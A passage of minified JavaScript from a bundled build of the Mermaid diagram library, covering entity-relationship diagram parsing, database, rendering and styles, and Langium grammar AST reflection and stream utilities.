to\b)/i,/^(?:\.-)/i,/^(?:-\.)/i,/^(?:([^\x00-\x7F]|\w|-|\*)+)/i,/^(?:;)/i,/^(?:([^\x00-\x7F]|\w|-|\*)+)/i,/^(?:[0-9])/i,/^(?:.)/i,/^(?:$)/i],conditions:{style:{rules:[34,35,36,37,38,69,70],inclusive:!1},acc_descr_multiline:{rules:[5,6],inclusive:!1},acc_descr:{rules:[3],inclusive:!1},acc_title:{rules:[1],inclusive:!1},block:{rules:[23,24,25,26,27,28,29,30],inclusive:!1},INITIAL:{rules:[0,2,4,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,31,32,33,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,71,72,73,74],inclusive:!0}}};return K})();re.lexer=ee;function Z(){this.yy={}}return o(Z,"Parser"),Z.prototype=re,re.Parser=Z,new Z})();UI.parser=UI;Tfe=UI});var _E,kfe=N(()=>{"use strict";pt();Xt();ci();tr();_E=class{constructor(){this.entities=new Map;this.relationships=[];this.classes=new Map;this.direction="TB";this.Cardinality={ZERO_OR_ONE:"ZERO_OR_ONE",ZERO_OR_MORE:"ZERO_OR_MORE",ONE_OR_MORE:"ONE_OR_MORE",ONLY_ONE:"ONLY_ONE",MD_PARENT:"MD_PARENT"};this.Identification={NON_IDENTIFYING:"NON_IDENTIFYING",IDENTIFYING:"IDENTIFYING"};this.setAccTitle=Rr;this.getAccTitle=Mr;this.setAccDescription=Ir;this.getAccDescription=Or;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.getConfig=o(()=>ge().er,"getConfig");this.clear(),this.addEntity=this.addEntity.bind(this),this.addAttributes=this.addAttributes.bind(this),this.addRelationship=this.addRelationship.bind(this),this.setDirection=this.setDirection.bind(this),this.addCssStyles=this.addCssStyles.bind(this),this.addClass=this.addClass.bind(this),this.setClass=this.setClass.bind(this),this.setAccTitle=this.setAccTitle.bind(this),this.setAccDescription=this.setAccDescription.bind(this)}static{o(this,"ErDB")}addEntity(e,r=""){return this.entities.has(e)?!this.entities.get(e)?.alias&&r&&(this.entities.get(e).alias=r,X.info(`Add alias '${r}' to entity '${e}'`)):(this.entities.set(e,{id:`entity-${e}-${this.entities.size}`,label:e,attributes:[],alias:r,shape:"erBox",look:ge().look??"default",cssClasses:"default",cssStyles:[]}),X.info("Added new entity :",e)),this.entities.get(e)}getEntity(e){return this.entities.get(e)}getEntities(){return this.entities}getClasses(){return this.classes}addAttributes(e,r){let n=this.addEntity(e),i;for(i=r.length-1;i>=0;i--)r[i].keys||(r[i].keys=[]),r[i].comment||(r[i].comment=""),n.attributes.push(r[i]),X.debug("Added attribute ",r[i].name)}addRelationship(e,r,n,i){let a=this.entities.get(e),s=this.entities.get(n);if(!a||!s)return;let l={entityA:a.id,roleA:r,entityB:s.id,relSpec:i};this.relationships.push(l),X.debug("Added new relationship :",l)}getRelationships(){return this.relationships}getDirection(){return this.direction}setDirection(e){this.direction=e}getCompiledStyles(e){let r=[];for(let n of e){let i=this.classes.get(n);i?.styles&&(r=[...r,...i.styles??[]].map(a=>a.trim())),i?.textStyles&&(r=[...r,...i.textStyles??[]].map(a=>a.trim()))}return r}addCssStyles(e,r){for(let n of e){let i=this.entities.get(n);if(!r||!i)return;for(let a of r)i.cssStyles.push(a)}}addClass(e,r){e.forEach(n=>{let i=this.classes.get(n);i===void 0&&(i={id:n,styles:[],textStyles:[]},this.classes.set(n,i)),r&&r.forEach(function(a){if(/color/.exec(a)){let s=a.replace("fill","bgFill");i.textStyles.push(s)}i.styles.push(a)})})}setClass(e,r){for(let n of e){let i=this.entities.get(n);if(i)for(let a of r)i.cssClasses+=" "+a}}clear(){this.entities=new Map,this.classes=new Map,this.relationships=[],Sr()}getData(){let e=[],r=[],n=ge();for(let a of this.entities.keys()){let s=this.entities.get(a);s&&(s.cssCompiledStyles=this.getCompiledStyles(s.cssClasses.split(" ")),e.push(s))}let i=0;for(let a of this.relationships){let s={id:xc(a.entityA,a.entityB,{prefix:"id",counter:i++}),type:"normal",curve:"basis",start:a.entityA,end:a.entityB,label:a.roleA,labelpos:"c",thickness:"normal",classes:"relationshipLine",arrowTypeStart:a.relSpec.cardB.toLowerCase(),arrowTypeEnd:a.relSpec.cardA.toLowerCase(),pattern:a.relSpec.relType=="IDENTIFYING"?"solid":"dashed",look:n.look};r.push(s)}return{nodes:e,edges:r,other:{},config:n,direction:"TB"}}}});var HI={};dr(HI,{draw:()=>lWe});var lWe,Efe=N(()=>{"use strict";Xt();pt();ep();Nf();Mf();tr();yr();lWe=o(async function(t,e,r,n){X.info("REF0:"),X.info("Drawing er diagram (unified)",e);let{securityLevel:i,er:a,layout:s}=ge(),l=n.db.getData(),u=Vo(e,i);l.type=n.type,l.layoutAlgorithm=$c(s),l.config.flowchart.nodeSpacing=a?.nodeSpacing||140,l.config.flowchart.rankSpacing=a?.rankSpacing||80,l.direction=n.db.getDirection(),l.markers=["only_one","zero_or_one","one_or_more","zero_or_more"],l.diagramId=e,await Qo(l,u),l.layoutAlgorithm==="elk"&&u.select(".edges").lower();let h=u.selectAll('[id*="-background"]');Array.from(h).length>0&&h.each(function(){let d=qe(this),m=d.attr("id").replace("-background",""),g=u.select(`#${CSS.escape(m)}`);if(!g.empty()){let y=g.attr("transform");d.attr("transform",y)}});let f=8;qt.insertTitle(u,"erDiagramTitleText",a?.titleTopMargin??25,n.db.getDiagramTitle()),Ws(u,f,"erDiagram",a?.useMaxWidth??!0)},"draw")});var cWe,uWe,Sfe,Cfe=N(()=>{"use strict";eo();cWe=o((t,e)=>{let r=ld,n=r(t,"r"),i=r(t,"g"),a=r(t,"b");return Ka(n,i,a,e)},"fade"),uWe=o(t=>` + .entityBox { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; + } + + .relationshipLabelBox { + fill: ${t.tertiaryColor}; + opacity: 0.7; + background-color: ${t.tertiaryColor}; + rect { + opacity: 0.5; + } + } + + .labelBkg { + background-color: ${cWe(t.tertiaryColor,.5)}; + } + + .edgeLabel .label { + fill: ${t.nodeBorder}; + font-size: 14px; + } + + .label { + font-family: ${t.fontFamily}; + color: ${t.nodeTextColor||t.textColor}; + } + + .edge-pattern-dashed { + stroke-dasharray: 8,8; + } + + .node rect, + .node circle, + .node ellipse, + .node polygon + { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; + stroke-width: 1px; + } + + .relationshipLine { + stroke: ${t.lineColor}; + stroke-width: 1; + fill: none; + } + + .marker { + fill: none !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; + } +`,"getStyles"),Sfe=uWe});var Afe={};dr(Afe,{diagram:()=>hWe});var hWe,_fe=N(()=>{"use strict";wfe();kfe();Efe();Cfe();hWe={parser:Tfe,get db(){return new _E},renderer:HI,styles:Sfe}});function li(t){return typeof t=="object"&&t!==null&&typeof t.$type=="string"}function Ta(t){return typeof t=="object"&&t!==null&&typeof t.$refText=="string"}function qI(t){return typeof t=="object"&&t!==null&&typeof t.name=="string"&&typeof t.type=="string"&&typeof t.path=="string"}function _p(t){return typeof t=="object"&&t!==null&&li(t.container)&&Ta(t.reference)&&typeof t.message=="string"}function Ol(t){return typeof t=="object"&&t!==null&&Array.isArray(t.content)}function If(t){return typeof t=="object"&&t!==null&&typeof t.tokenType=="object"}function Lx(t){return Ol(t)&&typeof t.fullText=="string"}var Ap,Pl=N(()=>{"use strict";o(li,"isAstNode");o(Ta,"isReference");o(qI,"isAstNodeDescription");o(_p,"isLinkingError");Ap=class{static{o(this,"AbstractAstReflection")}constructor(){this.subtypes={},this.allSubtypes={}}isInstance(e,r){return li(e)&&this.isSubtype(e.$type,r)}isSubtype(e,r){if(e===r)return!0;let n=this.subtypes[e];n||(n=this.subtypes[e]={});let i=n[r];if(i!==void 0)return i;{let a=this.computeIsSubtype(e,r);return n[r]=a,a}}getAllSubTypes(e){let r=this.allSubtypes[e];if(r)return r;{let n=this.getAllTypes(),i=[];for(let a of n)this.isSubtype(a,e)&&i.push(a);return this.allSubtypes[e]=i,i}}};o(Ol,"isCompositeCstNode");o(If,"isLeafCstNode");o(Lx,"isRootCstNode")});function mWe(t){return typeof t=="string"?t:typeof t>"u"?"undefined":typeof t.toString=="function"?t.toString():Object.prototype.toString.call(t)}function DE(t){return!!t&&typeof t[Symbol.iterator]=="function"}function an(...t){if(t.length===1){let e=t[0];if(e instanceof po)return e;if(DE(e))return new po(()=>e[Symbol.iterator](),r=>r.next());if(typeof e.length=="number")return new po(()=>({index:0}),r=>r.index1?new po(()=>({collIndex:0,arrIndex:0}),e=>{do{if(e.iterator){let r=e.iterator.next();if(!r.done)return r;e.iterator=void 0}if(e.array){if(e.arrIndex{"use strict";po=class t{static{o(this,"StreamImpl")}constructor(e,r){this.startFn=e,this.nextFn=r}iterator(){let e={state:this.startFn(),next:o(()=>this.nextFn(e.state),"next"),[Symbol.iterator]:()=>e};return e}[Symbol.iterator](){return this.iterator()}isEmpty(){return!!this.iterator().next().done}count(){let e=this.iterator(),r=0,n=e.next();for(;!n.done;)r++,n=e.next();return r}toArray(){let e=[],r=this.iterator(),n;do n=r.next(),n.value!==void 0&&e.push(n.value);while(!n.done);return e}toSet(){return new Set(this)}toMap(e,r){let n=this.map(i=>[e?e(i):i,r?r(i):i]);return new Map(n)}toString(){return this.join()}concat(e){return new t(()=>({first:this.startFn(),firstDone:!1,iterator:e[Symbol.iterator]()}),r=>{let n;if(!r.firstDone){do if(n=this.nextFn(r.first),!n.done)return n;while(!n.done);r.firstDone=!0}do if(n=r.iterator.next(),!n.done)return n;while(!n.done);return za})}join(e=","){let r=this.iterator(),n="",i,a=!1;do i=r.next(),i.done||(a&&(n+=e),n+=mWe(i.value)),a=!0;while(!i.done);return n}indexOf(e,r=0){let n=this.iterator(),i=0,a=n.next();for(;!a.done;){if(i>=r&&a.value===e)return i;a=n.next(),i++}return-1}every(e){let r=this.iterator(),n=r.next();for(;!n.done;){if(!e(n.value))return!1;n=r.next()}return!0}some(e){let r=this.iterator(),n=r.next();for(;!n.done;){if(e(n.value))return!0;n=r.next()}return!1}forEach(e){let r=this.iterator(),n=0,i=r.next();for(;!i.done;)e(i.value,n),i=r.next(),n++}map(e){return new t(this.startFn,r=>{let{done:n,value:i}=this.nextFn(r);return n?za:{done:!1,value:e(i)}})}filter(e){return new t(this.startFn,r=>{let n;do if(n=this.nextFn(r),!n.done&&e(n.value))return n;while(!n.done);return za})}nonNullable(){return this.filter(e=>e!=null)}reduce(e,r){let n=this.iterator(),i=r,a=n.next();for(;!a.done;)i===void 0?i=a.value:i=e(i,a.value),a=n.next();return i}reduceRight(e,r){return this.recursiveReduce(this.iterator(),e,r)}recursiveReduce(e,r,n){let i=e.next();if(i.done)return n;let a=this.recursiveReduce(e,r,n);return a===void 0?i.value:r(a,i.value)}find(e){let r=this.iterator(),n=r.next();for(;!n.done;){if(e(n.value))return n.value;n=r.next()}}findIndex(e){let r=this.iterator(),n=0,i=r.next();for(;!i.done;){if(e(i.value))return n;i=r.next(),n++}return-1}includes(e){let r=this.iterator(),n=r.next();for(;!n.done;){if(n.value===e)return!0;n=r.next()}return!1}flatMap(e){return new t(()=>({this:this.startFn()}),r=>{do{if(r.iterator){let a=r.iterator.next();if(a.done)r.iterator=void 0;else return a}let{done:n,value:i}=this.nextFn(r.this);if(!n){let a=e(i);if(DE(a))r.iterator=a[Symbol.iterator]();else return{done:!1,value:a}}}while(r.iterator);return za})}flat(e){if(e===void 0&&(e=1),e<=0)return this;let r=e>1?this.flat(e-1):this;return new t(()=>({this:r.startFn()}),n=>{do{if(n.iterator){let s=n.iterator.next();if(s.done)n.iterator=void 0;else return s}let{done:i,value:a}=r.nextFn(n.this);if(!i)if(DE(a))n.iterator=a[Symbol.iterator]();else return{done:!1,value:a}}while(n.iterator);return za})}head(){let r=this.iterator().next();if(!r.done)return r.value}tail(e=1){return new t(()=>{let r=this.startFn();for(let n=0;n({size:0,state:this.startFn()}),r=>(r.size++,r.size>e?za:this.nextFn(r.state)))}distinct(e){return new t(()=>({set:new Set,internalState:this.startFn()}),r=>{let n;do if(n=this.nextFn(r.internalState),!n.done){let i=e?e(n.value):n.value;if(!r.set.has(i))return r.set.add(i),n}while(!n.done);return za})}exclude(e,r){let n=new Set;for(let i of e){let a=r?r(i):i;n.add(a)}return this.filter(i=>{let a=r?r(i):i;return!n.has(a)})}};o(mWe,"toString");o(DE,"isIterable");Rx=new po(()=>{},()=>za),za=Object.freeze({done:!0,value:void 0});o(an,"stream");Gc=class extends po{static{o(this,"TreeStreamImpl")}constructor(e,r,n){super(()=>({iterators:n?.includeRoot?[[e][Symbol.iterator]()]:[r(e)[Symbol.iterator]()],pruned:!1}),i=>{for(i.pruned&&(i.iterators.pop(),i.pruned=!1);i.iterators.length>0;){let s=i.iterators[i.iterators.length-1].next();if(s.done)i.iterators.pop();else return i.iterators.push(r(s.value)[Symbol.iterator]()),s}return za})}iterator(){let e={state:this.startFn(),next:o(()=>this.nextFn(e.state),"next"),prune:o(()=>{e.state.pruned=!0},"prune"),[Symbol.iterator]:()=>e};return e}};(function(t){function e(a){return a.reduce((s,l)=>s+l,0)}o(e,"sum"),t.sum=e;function r(a){return a.reduce((s,l)=>s*l,0)}o(r,"product"),t.product=r;function n(a){return a.reduce((s,l)=>Math.min(s,l))}o(n,"min"),t.min=n;function i(a){return a.reduce((s,l)=>Math.max(s,l))}o(i,"max"),t.max=i})(vg||(vg={}))});var RE={};dr(RE,{DefaultNameRegexp:()=>LE,RangeComparison:()=>Vc,compareRange:()=>Rfe,findCommentNode:()=>jI,findDeclarationNodeAtOffset:()=>yWe,findLeafNodeAtOffset:()=>KI,findLeafNodeBeforeOffset:()=>Nfe,flattenCst:()=>gWe,getInteriorNodes:()=>bWe,getNextNode:()=>vWe,getPreviousNode:()=>Ife,getStartlineNode:()=>xWe,inRange:()=>XI,isChildNode:()=>YI,isCommentNode:()=>WI,streamCst:()=>Dp,toDocumentSegment:()=>Lp,tokenToRange:()=>xg});function Dp(t){return new Gc(t,e=>Ol(e)?e.content:[],{includeRoot:!0})}function gWe(t){return Dp(t).filter(If)}function YI(t,e){for(;t.container;)if(t=t.container,t===e)return!0;return!1}function xg(t){return{start:{character:t.startColumn-1,line:t.startLine-1},end:{character:t.endColumn,line:t.endLine-1}}}function Lp(t){if(!t)return;let{offset:e,end:r,range:n}=t;return{range:n,offset:e,end:r,length:r-e}}function Rfe(t,e){if(t.end.linee.end.line||t.start.line===e.end.line&&t.start.character>=e.end.character)return Vc.After;let r=t.start.line>e.start.line||t.start.line===e.start.line&&t.start.character>=e.start.character,n=t.end.lineVc.After}function yWe(t,e,r=LE){if(t){if(e>0){let n=e-t.offset,i=t.text.charAt(n);r.test(i)||e--}return KI(t,e)}}function jI(t,e){if(t){let r=Ife(t,!0);if(r&&WI(r,e))return r;if(Lx(t)){let n=t.content.findIndex(i=>!i.hidden);for(let i=n-1;i>=0;i--){let a=t.content[i];if(WI(a,e))return a}}}}function WI(t,e){return If(t)&&e.includes(t.tokenType.name)}function KI(t,e){if(If(t))return t;if(Ol(t)){let r=Mfe(t,e,!1);if(r)return KI(r,e)}}function Nfe(t,e){if(If(t))return t;if(Ol(t)){let r=Mfe(t,e,!0);if(r)return Nfe(r,e)}}function Mfe(t,e,r){let n=0,i=t.content.length-1,a;for(;n<=i;){let s=Math.floor((n+i)/2),l=t.content[s];if(l.offset<=e&&l.end>e)return l;l.end<=e?(a=r?l:void 0,n=s+1):i=s-1}return a}function Ife(t,e=!0){for(;t.container;){let r=t.container,n=r.content.indexOf(t);for(;n>0;){n--;let i=r.content[n];if(e||!i.hidden)return i}t=r}}function vWe(t,e=!0){for(;t.container;){let r=t.container,n=r.content.indexOf(t),i=r.content.length-1;for(;n{"use strict";Pl();Ys();o(Dp,"streamCst");o(gWe,"flattenCst");o(YI,"isChildNode");o(xg,"tokenToRange");o(Lp,"toDocumentSegment");(function(t){t[t.Before=0]="Before",t[t.After=1]="After",t[t.OverlapFront=2]="OverlapFront",t[t.OverlapBack=3]="OverlapBack",t[t.Inside=4]="Inside",t[t.Outside=5]="Outside"})(Vc||(Vc={}));o(Rfe,"compareRange");o(XI,"inRange");LE=/^[\w\p{L}]$/u;o(yWe,"findDeclarationNodeAtOffset");o(jI,"findCommentNode");o(WI,"isCommentNode");o(KI,"findLeafNodeAtOffset");o(Nfe,"findLeafNodeBeforeOffset");o(Mfe,"binarySearch");o(Ife,"getPreviousNode");o(vWe,"getNextNode");o(xWe,"getStartlineNode");o(bWe,"getInteriorNodes");o(TWe,"getCommonParent");o(Lfe,"getParentChain")});function Uc(t){throw new Error("Error! The input value was not handled.")}var Rp,NE=N(()=>{"use strict";Rp=class extends Error{static{o(this,"ErrorWithLocation")}constructor(e,r){super(e?`${r} at ${e.range.start.line}:${e.range.start.character}`:r)}};o(Uc,"assertUnreachable")});var zx={};dr(zx,{AbstractElement:()=>wg,AbstractRule:()=>bg,AbstractType:()=>Tg,Action:()=>Gg,Alternatives:()=>Vg,ArrayLiteral:()=>kg,ArrayType:()=>Eg,Assignment:()=>Ug,BooleanLiteral:()=>Sg,CharacterRange:()=>Hg,Condition:()=>Nx,Conjunction:()=>Cg,CrossReference:()=>qg,Disjunction:()=>Ag,EndOfFile:()=>Wg,Grammar:()=>_g,GrammarImport:()=>Ix,Group:()=>Yg,InferredType:()=>Dg,Interface:()=>Lg,Keyword:()=>Xg,LangiumGrammarAstReflection:()=>i1,LangiumGrammarTerminals:()=>wWe,NamedArgument:()=>Ox,NegatedToken:()=>jg,Negation:()=>Rg,NumberLiteral:()=>Ng,Parameter:()=>Mg,ParameterReference:()=>Ig,ParserRule:()=>Og,ReferenceType:()=>Pg,RegexToken:()=>Kg,ReturnType:()=>Px,RuleCall:()=>Qg,SimpleType:()=>Bg,StringLiteral:()=>Fg,TerminalAlternatives:()=>Zg,TerminalGroup:()=>Jg,TerminalRule:()=>Np,TerminalRuleCall:()=>e1,Type:()=>$g,TypeAttribute:()=>Bx,TypeDefinition:()=>ME,UnionType:()=>zg,UnorderedGroup:()=>t1,UntilToken:()=>r1,ValueLiteral:()=>Mx,Wildcard:()=>n1,isAbstractElement:()=>Fx,isAbstractRule:()=>kWe,isAbstractType:()=>EWe,isAction:()=>qu,isAlternatives:()=>BE,isArrayLiteral:()=>DWe,isArrayType:()=>QI,isAssignment:()=>Fl,isBooleanLiteral:()=>ZI,isCharacterRange:()=>sO,isCondition:()=>SWe,isConjunction:()=>JI,isCrossReference:()=>Mp,isDisjunction:()=>eO,isEndOfFile:()=>oO,isFeatureName:()=>CWe,isGrammar:()=>LWe,isGrammarImport:()=>RWe,isGroup:()=>Of,isInferredType:()=>IE,isInterface:()=>OE,isKeyword:()=>Zo,isNamedArgument:()=>NWe,isNegatedToken:()=>lO,isNegation:()=>tO,isNumberLiteral:()=>MWe,isParameter:()=>IWe,isParameterReference:()=>rO,isParserRule:()=>Ga,isPrimitiveType:()=>Ofe,isReferenceType:()=>nO,isRegexToken:()=>cO,isReturnType:()=>iO,isRuleCall:()=>$l,isSimpleType:()=>PE,isStringLiteral:()=>OWe,isTerminalAlternatives:()=>uO,isTerminalGroup:()=>hO,isTerminalRule:()=>mo,isTerminalRuleCall:()=>FE,isType:()=>$x,isTypeAttribute:()=>PWe,isTypeDefinition:()=>AWe,isUnionType:()=>aO,isUnorderedGroup:()=>$E,isUntilToken:()=>fO,isValueLiteral:()=>_We,isWildcard:()=>dO,reflection:()=>pr});function kWe(t){return pr.isInstance(t,bg)}function EWe(t){return pr.isInstance(t,Tg)}function SWe(t){return pr.isInstance(t,Nx)}function CWe(t){return Ofe(t)||t==="current"||t==="entry"||t==="extends"||t==="false"||t==="fragment"||t==="grammar"||t==="hidden"||t==="import"||t==="interface"||t==="returns"||t==="terminal"||t==="true"||t==="type"||t==="infer"||t==="infers"||t==="with"||typeof t=="string"&&/\^?[_a-zA-Z][\w_]*/.test(t)}function Ofe(t){return t==="string"||t==="number"||t==="boolean"||t==="Date"||t==="bigint"}function AWe(t){return pr.isInstance(t,ME)}function _We(t){return pr.isInstance(t,Mx)}function Fx(t){return pr.isInstance(t,wg)}function DWe(t){return pr.isInstance(t,kg)}function QI(t){return pr.isInstance(t,Eg)}function ZI(t){return pr.isInstance(t,Sg)}function JI(t){return pr.isInstance(t,Cg)}function eO(t){return pr.isInstance(t,Ag)}function LWe(t){return pr.isInstance(t,_g)}function RWe(t){return pr.isInstance(t,Ix)}function IE(t){return pr.isInstance(t,Dg)}function OE(t){return pr.isInstance(t,Lg)}function NWe(t){return pr.isInstance(t,Ox)}function tO(t){return pr.isInstance(t,Rg)}function MWe(t){return pr.isInstance(t,Ng)}function IWe(t){return pr.isInstance(t,Mg)}function rO(t){return pr.isInstance(t,Ig)}function Ga(t){return pr.isInstance(t,Og)}function nO(t){return pr.isInstance(t,Pg)}function iO(t){return pr.isInstance(t,Px)}function PE(t){return pr.isInstance(t,Bg)}function OWe(t){return pr.isInstance(t,Fg)}function mo(t){return pr.isInstance(t,Np)}function $x(t){return pr.isInstance(t,$g)}function PWe(t){return pr.isInstance(t,Bx)}function aO(t){return pr.isInstance(t,zg)}function qu(t){return pr.isInstance(t,Gg)}function BE(t){return pr.isInstance(t,Vg)}function Fl(t){return pr.isInstance(t,Ug)}function sO(t){return pr.isInstance(t,Hg)}function Mp(t){return pr.isInstance(t,qg)}function oO(t){return pr.isInstance(t,Wg)}function Of(t){return pr.isInstance(t,Yg)}function Zo(t){return pr.isInstance(t,Xg)}function lO(t){return pr.isInstance(t,jg)}function cO(t){return pr.isInstance(t,Kg)}function $l(t){return pr.isInstance(t,Qg)}function uO(t){return pr.isInstance(t,Zg)}function hO(t){return pr.isInstance(t,Jg)}function FE(t){return pr.isInstance(t,e1)}function $E(t){return pr.isInstance(t,t1)}function fO(t){return pr.isInstance(t,r1)}function dO(t){return pr.isInstance(t,n1)}var wWe,bg,Tg,Nx,ME,Mx,wg,kg,Eg,Sg,Cg,Ag,_g,Ix,Dg,Lg,Ox,Rg,Ng,Mg,Ig,Og,Pg,Px,Bg,Fg,Np,$g,Bx,zg,Gg,Vg,Ug,Hg,qg,Wg,Yg,Xg,jg,Kg,Qg,Zg,Jg,e1,t1,r1,n1,i1,pr,Hc=N(()=>{"use strict";Pl();wWe={ID:/\^?[_a-zA-Z][\w_]*/,STRING:/"(\\.|[^"\\])*"|'(\\.|[^'\\])*'/,NUMBER:/NaN|-?((\d*\.\d+|\d+)([Ee][+-]?\d+)?|Infinity)/,RegexLiteral:/\/(?![*+?])(?:[^\r\n\[/\\]|\\.|\[(?:[^\r\n\]\\]|\\.)*\])+\/[a-z]*/,WS:/\s+/,ML_COMMENT:/\/\*[\s\S]*?\*\//,SL_COMMENT:/\/\/[^\n\r]*/},bg="AbstractRule";o(kWe,"isAbstractRule");Tg="AbstractType";o(EWe,"isAbstractType");Nx="Condition";o(SWe,"isCondition");o(CWe,"isFeatureName");o(Ofe,"isPrimitiveType");ME="TypeDefinition";o(AWe,"isTypeDefinition");Mx="ValueLiteral";o(_We,"isValueLiteral");wg="AbstractElement";o(Fx,"isAbstractElement");kg="ArrayLiteral";o(DWe,"isArrayLiteral");Eg="ArrayType";o(QI,"isArrayType");Sg="BooleanLiteral";o(ZI,"isBooleanLiteral");Cg="Conjunction";o(JI,"isConjunction");Ag="Disjunction";o(eO,"isDisjunction");_g="Grammar";o(LWe,"isGrammar");Ix="GrammarImport";o(RWe,"isGrammarImport");Dg="InferredType";o(IE,"isInferredType");Lg="Interface";o(OE,"isInterface");Ox="NamedArgument";o(NWe,"isNamedArgument");Rg="Negation";o(tO,"isNegation");Ng="NumberLiteral";o(MWe,"isNumberLiteral");Mg="Parameter";o(IWe,"isParameter");Ig="ParameterReference";o(rO,"isParameterReference");Og="ParserRule";o(Ga,"isParserRule");Pg="ReferenceType";o(nO,"isReferenceType");Px="ReturnType";o(iO,"isReturnType");Bg="SimpleType";o(PE,"isSimpleType");Fg="StringLiteral";o(OWe,"isStringLiteral");Np="TerminalRule";o(mo,"isTerminalRule");$g="Type";o($x,"isType");Bx="TypeAttribute";o(PWe,"isTypeAttribute");zg="UnionType";o(aO,"isUnionType");Gg="Action";o(qu,"isAction");Vg="Alternatives";o(BE,"isAlternatives");Ug="Assignment";o(Fl,"isAssignment");Hg="CharacterRange";o(sO,"isCharacterRange");qg="CrossReference";o(Mp,"isCrossReference");Wg="EndOfFile";o(oO,"isEndOfFile");Yg="Group";o(Of,"isGroup");Xg="Keyword";o(Zo,"isKeyword");jg="NegatedToken";o(lO,"isNegatedToken");Kg="RegexToken";o(cO,"isRegexToken");Qg="RuleCall";o($l,"isRuleCall");Zg="TerminalAlternatives";o(uO,"isTerminalAlternatives");Jg="TerminalGroup";o(hO,"isTerminalGroup");e1="TerminalRuleCall";o(FE,"isTerminalRuleCall");t1="UnorderedGroup";o($E,"isUnorderedGroup");r1="UntilToken";o(fO,"isUntilToken");n1="Wildcard";o(dO,"isWildcard");i1=class extends Ap{static{o(this,"LangiumGrammarAstReflection")}getAllTypes(){return[wg,bg,Tg,Gg,Vg,kg,Eg,Ug,Sg,Hg,Nx,Cg,qg,Ag,Wg,_g,Ix,Yg,Dg,Lg,Xg,Ox,jg,Rg,Ng,Mg,Ig,Og,Pg,Kg,Px,Qg,Bg,Fg,Zg,Jg,Np,e1,$g,Bx,ME,zg,t1,r1,Mx,n1]}computeIsSubtype(e,r){switch(e){case Gg:case Vg:case Ug:case Hg:case qg:case Wg:case Yg:case Xg:case jg:case Kg:case Qg:case Zg:case Jg:case e1:case t1:case r1:case n1:return this.isSubtype(wg,r);case kg:case Ng:case Fg:return this.isSubtype(Mx,r);case Eg:case Pg:case Bg:case zg:return this.isSubtype(ME,r);case Sg:return this.isSubtype(Nx,r)||this.isSubtype(Mx,r);case Cg:case Ag:case Rg:case Ig:return this.isSubtype(Nx,r);case Dg:case Lg:case $g:return this.isSubtype(Tg,r);case Og:return this.isSubtype(bg,r)||this.isSubtype(Tg,r);case Np:return this.isSubtype(bg,r);default:return!1}}getReferenceType(e){let r=`${e.container.$type}:${e.property}`;switch(r){case"Action:type":case"CrossReference:type":case"Interface:superTypes":case"ParserRule:returnType":case"SimpleType:typeRef":return Tg;case"Grammar:hiddenTokens":case"ParserRule:hiddenTokens":case"RuleCall:rule":return bg;case"Grammar:usedGrammars":return _g;case"NamedArgument:parameter":case"ParameterReference:parameter":return Mg;case"TerminalRuleCall:rule":return Np;default:throw new Error(`${r} is not a valid reference id.`)}}getTypeMetaData(e){switch(e){case wg:return{name:wg,properties:[{name:"cardinality"},{name:"lookahead"}]};case kg:return{name:kg,properties:[{name:"elements",defaultValue:[]}]};case Eg:return{name:Eg,properties:[{name:"elementType"}]};case Sg:return{name:Sg,properties:[{name:"true",defaultValue:!1}]};case Cg:return{name:Cg,properties:[{name:"left"},{name:"right"}]};case Ag:return{name:Ag,properties:[{name:"left"},{name:"right"}]};case _g:return{name:_g,properties:[{name:"definesHiddenTokens",defaultValue:!1},{name:"hiddenTokens",defaultValue:[]},{name:"imports",defaultValue:[]},{name:"interfaces",defaultValue:[]},{name:"isDeclared",defaultValue:!1},{name:"name"},{name:"rules",defaultValue:[]},{name:"types",defaultValue:[]},{name:"usedGrammars",defaultValue:[]}]};case Ix:return{name:Ix,properties:[{name:"path"}]};case Dg:return{name:Dg,properties:[{name:"name"}]};case Lg:return{name:Lg,properties:[{name:"attributes",defaultValue:[]},{name:"name"},{name:"superTypes",defaultValue:[]}]};case Ox:return{name:Ox,properties:[{name:"calledByName",defaultValue:!1},{name:"parameter"},{name:"value"}]};case Rg:return{name:Rg,properties:[{name:"value"}]};case Ng:return{name:Ng,properties:[{name:"value"}]};case Mg:return{name:Mg,properties:[{name:"name"}]};case Ig:return{name:Ig,properties:[{name:"parameter"}]};case Og:return{name:Og,properties:[{name:"dataType"},{name:"definesHiddenTokens",defaultValue:!1},{name:"definition"},{name:"entry",defaultValue:!1},{name:"fragment",defaultValue:!1},{name:"hiddenTokens",defaultValue:[]},{name:"inferredType"},{name:"name"},{name:"parameters",defaultValue:[]},{name:"returnType"},{name:"wildcard",defaultValue:!1}]};case Pg:return{name:Pg,properties:[{name:"referenceType"}]};case Px:return{name:Px,properties:[{name:"name"}]};case Bg:return{name:Bg,properties:[{name:"primitiveType"},{name:"stringType"},{name:"typeRef"}]};case Fg:return{name:Fg,properties:[{name:"value"}]};case Np:return{name:Np,properties:[{name:"definition"},{name:"fragment",defaultValue:!1},{name:"hidden",defaultValue:!1},{name:"name"},{name:"type"}]};case $g:return{name:$g,properties:[{name:"name"},{name:"type"}]};case Bx:return{name:Bx,properties:[{name:"defaultValue"},{name:"isOptional",defaultValue:!1},{name:"name"},{name:"type"}]};case zg:return{name:zg,properties:[{name:"types",defaultValue:[]}]};case Gg:return{name:Gg,properties:[{name:"cardinality"},{name:"feature"},{name:"inferredType"},{name:"lookahead"},{name:"operator"},{name:"type"}]};case Vg:return{name:Vg,properties:[{name:"cardinality"},{name:"elements",defaultValue:[]},{name:"lookahead"}]};case Ug:return{name:Ug,properties:[{name:"cardinality"},{name:"feature"},{name:"lookahead"},{name:"operator"},{name:"terminal"}]};case Hg:return{name:Hg,properties:[{name:"cardinality"},{name:"left"},{name:"lookahead"},{name:"right"}]};case qg:return{name:qg,properties:[{name:"cardinality"},{name:"deprecatedSyntax",defaultValue:!1},{name:"lookahead"},{name:"terminal"},{name:"type"}]};case Wg:return{name:Wg,properties:[{name:"cardinality"},{name:"lookahead"}]};case Yg:return{name:Yg,properties:[{name:"cardinality"},{name:"elements",defaultValue:[]},{name:"guardCondition"},{name:"lookahead"}]};case 